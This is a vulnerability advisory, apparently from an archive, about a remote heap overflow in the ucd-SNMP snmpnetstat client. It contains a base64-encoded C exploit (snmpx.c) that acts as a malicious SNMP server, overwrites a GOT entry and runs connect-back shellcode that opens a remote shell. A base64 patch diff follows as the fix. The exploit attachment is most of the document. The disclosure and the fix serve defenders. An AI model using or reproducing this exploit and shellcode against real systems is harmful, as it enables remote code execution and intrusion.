|
COMMAND snmpnetstat remote heap overflow SYSTEMS AFFECTED ucd-SNMP-4.2.3 PROBLEM In Axioma Security Research advisory [www.axiomasistemas.com], thanks to Juan M. de la Torre : When snmpnetstat request the list of interfaces, it first allocs an array to hold all the structs, one for each interface fetched. Then, it sends a getnextrequest PDU to the server requesting ifindex, ifaddr and ifnetmask, and saves this values in the first null entry of the array. Then it sends another getnextrequest PDU requesting ifindex, and some other variables. If the ifindex value returned by server is different from the one previusly fetched, and the interface currently being scanned is the last, the memory located after the array will be overwritten with the variables returned by server, causing a heap overflow. RedHat Linux 7.1 exploit ======================== Content-Type: application/octet-stream; name=\"snmpx.c\" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=\"snmpx.c\" Ci8qCiAqIFByb29mIG9mIGNvbmNlcHQgeHBsb2l0IGZvciBzbm1wbmV0c3Rh dCAgCiAqCiAqICBUaGlzIGNhdXNlcyBzbm1wbmV0c3RhdCB0byBvdmVyd3Jp dGUgdGhlIEdPVCBlbnRyeQogKiBvZiBlbmRwcm90b2VudCB3aXRoIHRoZSBh ZGRyZXNzIG9mIGEgY29ubmVjdC1iYWNrCiAqIHNoZWxsY29kZS4gVGhlIHNo ZWxsY29kZSBoYXMgc29tZSBzaXplIGxpbWl0YXRpb25zLgogKgogKiAgVVNF IFRISVMgQVQgWU9VUiBPV04gUklTSwogKgogKiAgU2VuZCBjb21tZW50cyB0 byBKdWFuIE0uIGRlIGxhIFRvcnJlIC8gam10b3JyZUBheGlvbWFzaXN0ZW1h cy5jb20KICogIGh0dHA6Ly93d3cuYXhpb21hc2lzdGVtYXMuY29tCiAqLwoK I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1 ZGUgPHN0ZGFyZy5oPgojaW5jbHVkZSA8c3lzL3R5cGVzLmg+CiNpbmNsdWRl IDxzeXMvc29ja2V0Lmg+CiNpbmNsdWRlIDxzeXMvcG9sbC5oPgojaW5jbHVk ZSA8bmV0aW5ld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NpZ25l ZCBzaG9ydCBiaW5kcG9ydCA9IDMyMzQ7CnN0YXRpYyBpbnQgdXNlX2JpbmRf YWRkciA9IDA7CnN0YXRpYyB1bnNpZ25lZCBsb25nIGJpbmRfYWRkcjsKCi8q CiAqIDEwMSBieXRlcyBjb25uZWN0LWJhY2sgc2hlbGxjb2RlIAogICAgICAg IHhvcmwgJWVheCwgJWVheAogICAgICAgIHB1c2hsICVlYXggICAgICAgICAg ICAjIHB1c2ggSVBQUk9UT19JUAogICAgICAgIGluYyAlZWF4CiAgICAgICAg cHVzaGwgJWVheCAgICAgICAgICAgICMgcHVzaCBTT0NLX1NUUkVBTQogICAg ICAgIGluYyAlZWF4CiAgICAgICAgam1wIHNraXAKICAgICAgICBub3AKICAg ICAgICBub3AKICAgICAgICBub3AKICAgICAgICBub3AKICAgICAgICBub3AK ICAgICAgICBub3AKICAgICAgICBub3AKICAgICAgICBub3AKc2tpcDoKICAg ICAgICBwdXNobCAlZWF4ICAgICAgICAgICAjIHB1c2ggQUZfSU5FVAogICAg ICAgIG1vdmwgJWVzcCwgJWVjeAogICAgICAgIHhvcmwgJWVieCwgJWVieAog ICAgICAgIG1vdmIgJDB4MSwgJWJsICAgICAgICMgU1lTX1NPQ0tFVAogICAg ICAgIG1vdmIgJDEwMiwgJWFsICAgICAgICMgX19OUl9zb2NrZXRjYWxsCiAg ICAgICAgaW50ICQweDgwCiAgICAgICAgbW92bCAlZWF4LCAlZWR4ICAgICAg IyBzYXZlIGZkIGluIGVheCBhbmQgZWR4CiAgICAgICAgbW92YiAkMHgzLCAl YmwgICAgICAgIyBTWVNfQ09OTkVDVAogICAgICAgIG1vdmwgJWVheCwgKCVl YnApICAgICMgcHV0IGZkIGFzIGZpcnN0IGFyZ3VtZW50CiAgICAgICAgcHVz aGwgJDB4MDEwMDAwN2YgICAgIyBmaWxsIHN0cnVjdCBzb2NrYWRkcl9pbgog ICAgICAgIHB1c2hsICQweDAxMDEwMDAyCiAgICAgICAgbW92bCAlZXNwLCAw eDQoJWVicCkKICAgICAgICBtb3ZiICQxNiwgJWFsICAgICAgICAjIHNpemVv ZiBzdHJ1Y3Qgc29ja2FkZHJfaW4KICAgICAgICBtb3ZsICVlYXgsIDB4OCgl ZWJwKQogICAgICAgIG1vdmwgJWVicCwgJWVjeAogICAgICAgIG1vdmIgJDEw MiwgJWFsICAgICAgICMgX19OUl9zb2NrZXRjYWxsCiAgICAgICAgaW50ICQw eDgwCiAgICAgICAgZGVjYiAlYmwgIyAlZWJ4IGNvbnRhaW5zICcyJwogICAg ICAgIG1vdnpibCAlZGwsICVlY3gKbG9vcDE6CiAgICAgICAgbW92YiAkNiwg JWFsICAgICAgICAgIyBfX05SX2Nsb3NlCiAgICAgICAgaW50ICQweDgwCiAg ICAgICAgeGNoZ2IgJWNsLCAlYmwKICAgICAgICBtb3ZiICQ2MywgJWFsICAg ICAgICAjIF9fTlJfZHVwMgogICAgICAgIGludCAkMHg4MAogICAgICAgIHhj aGdiICVjbCwgJWJsCiAgICAgICAgZGVjYiAlYmwKICAgICAgICBqZ2UgbG9v cDEKICAgICAgICBwdXNobCAkMHgwMDY4NzMyZgogICAgICAgIHB1c2hsICQw eDZlNjk2MjJmCiAgICAgICAgbW92bCAlZXNwLCAlZWJ4CiAgICAgICAgeG9y bCAlZWR4LCAlZWR4CiAgICAgICAgcHVzaGwgJWVkeAogICAgICAgIHB1c2hs ICVlYngKICAgICAgICBtb3ZsICVlc3AsICVlY3gKICAgICAgICBtb3ZiICQw eGIsICVhbCAgICAgICAjIF9fTlJfZXhlY3ZlCiAgICAgICAgaW50ICQweDgw CiAqLwpzdGF0aWMgdV9jaGFyIHNoZWxsY29kZVtdID0gewogICAgICAgIDB4 MzEsIDB4YzAsIDB4NTAsIDB4NDAsIDB4NTAsIDB4NDAsIDB4ZWIsIDB4MDgs IDB4OTAsIDB4OTAsIDB4OTAsCiAgICAgICAgMHg5MCwgMHg5MCwgMHg5MCwg MHg5MCwgMHg5MCwgMHg1MCwgMHg4OSwg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SBOVUxMOwoKICAgICAgICBpZiAoKnB0cisrICE9IChB U05fU0VRVUVOQ0UgfCBBU05fQ09OU1RSVUNUT1IpKQogICAgICAgICAgICAg ICAgZmF0YWwgKCJlcnJvcjogcHJvdG9jb2wgZXJyb3JcbiIpOwoKICAgICAg ICBwdHIgKz0gMjsKCiAgICAgICAgcHRyID0gYXNuX2dldF9pbnRlZ2VyIChw dHIsICZ2ZXJzaW9uKTsKICAgICAgICBpZiAodmVyc2lvbiAhPSAwKQogICAg ICAgICAgICAgICAgZmF0YWwgKCJlcnJvcjogY2xpZW50IHVzZXMgYSB2ZXJz aW9uIGRpZmZlcmVudCBmcm9tIDBcbiIpOwoKICAgICAgICBtZW1zZXQgKGNv bW0sIDAsIHNpemVvZiAoY29tbSkpOwogICAgICAgIHB0ciA9IGFzbl9nZXRf b2N0ZXRfc3RyaW5nIChwdHIsIGNvbW0pOwoKICAgICAgICBpZiAoKnB0cisr ICE9IFNOTVBfR0VUTkVYVFJFUVVFU1QpCiAgICAgICAgICAgICAgICBmYXRh bCAoImVycm9yOiBwcm90b2NvbCBlcnJvclxuIik7CgogICAgICAgIHB0ciAr PSAyOyAvKiBza2lwIGxlbiAqLwoKICAgICAgICBwdHIgPSBhc25fZ2V0X2lu dGVnZXIgKHB0ciwgJnNlc3Npb25faWQpOwoKICAgICAgICBwdHIgPSBhc25f Z2V0X2ludGVnZXIgKHB0ciwgJmZvbyk7CiAgICAgICAgcHRyID0gYXNuX2dl dF9pbnRlZ2VyIChwdHIsICZmb28pOwoKICAgICAgICBpZiAoKnB0cisrICE9 IChBU05fU0VRVUVOQ0UgfCBBU05fQ09OU1RSVUNUT1IpKQogICAgICAgICAg ICAgICAgZmF0YWwgKCJlcnJvcjogcHJvdG9jb2wgZXJyb3JcbiIpOwogICAg ICAgIHB0ciArPSAyOwoKCWZvciAoaSA9IDA7IGkgPCAxMTsgaSsrKQoJewoJ CWlmICgqcHRyKysgIT0gKEFTTl9TRVFVRU5DRSB8IEFTTl9D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KQoJewoJ CW1lbXNldCAoYnVmLCAwLCBzaXplb2YgKGJ1ZikpOwoJCXNsZW4gPSBzaXpl b2YgKGNsaWVudCk7CgkJaWYgKHJlY3Zmcm9tIChzZCwgYnVmLCBzaXplb2Yg KGJ1ZiksIDAsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJmNsaWVudCwgJnNsZW4p IDwgMSkKCQkJcGVycm9yICgicmVjdmZyb20oKSIpLCBleGl0IChFWElUX0ZB SUxVUkUpOwoKCQlmcHJpbnRmIChzdGRlcnIsICJwcm9jZXNpbmcgc25tcCBw YWNrZXQgZnJvbSAlczolaVxuIiwKCQkJCWluZXRfbnRvYSAoY2xpZW50LnNp bl9hZGRyKSwKCQkJCWh0b25zIChjbGllbnQuc2luX3BvcnQpKTsKCgkJc25t cF9wcm9jY2VzcyAoc2QsIGJ1Zik7CgoJCWlmIChzdGF0ZSA9PSBTVEFURV9R VUlUVElORykKCQkJYnJlYWs7CgoJCWlmIChzdGF0ZSA9PSBTVEFURV9XQUlU SU5HX0NPTk5FQ1QpCgkJewoJCQlzbm1wX3dhaXRpbmdfY29ubmVjdCAoKTsK CQkJYnJlYWs7CgkJfQoJfQoKCWNsb3NlIChzZCk7CgkKCWV4aXQgKEVYSVRf U1VDQ0VTUyk7Cn0KCgo= --=====_10100706846334=_-- SOLUTION Content-Type: application/octet-stream; name=\"snmp.diff\" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=\"snmp.diff\" KioqIGFwcHMvc25tcG5ldHN0YXQvaWYuY19vbGQJVGh1IEphbiAgMyAxNDoy NTowMCAyMDAyCi0tLSBhcHBzL3NubXBuZXRzdGF0L2lmLmMJVGh1IEphbiAg MyAxNDoyNjoxNSAyMDAyCioqKioqKioqKioqKioqKiBpbnRwcihpbnQgaW50 ZXJ2YWwpCioqKiAyODAsMjg1ICoqKioKLS0tIDI4MCwyOTAgLS0tLQogIAkJ ICAgIGNhc2UgSUZJTkRFWDoKICAJCQlpZmluZGV4ID0gKnZhci0+dmFsLmlu dGVnZXI7CiAgCQkJZm9yIChjdXJfaWYgPSBpZl90YWJsZTsgY3VyX2lmLT5p ZmluZGV4ICE9IGlmaW5kZXggJiYgY3VyX2lmLT5pZmluZGV4ICE9IDA7IGN1 cl9pZisrKSA7CisgCQkJaWYgKGN1cl9pZiA+PSAoaWZfdGFibGUgKyBjZmdf bm5ldHMpKQorIAkJCXsKKyAJCQkJZnByaW50ZiAoc3RkZXJyLCAiSW5jb25z aXN0ZW50IHJlcG9uc2UgZnJvbSBzZXJ2ZXIuIEFib3J0aW5nXG4iKTsKKyAJ CQkJZXhpdCAoMCk7CisgCQkJfQogIAkJCWN1cl9pZi0+aWZpbmRleCA9IGlm aW5kZXg7CiAgCQkJYnJlYWs7CiAgCQkgICAgY2FzZSBPVVRRTEVOOgo= --=====_10100706846334=_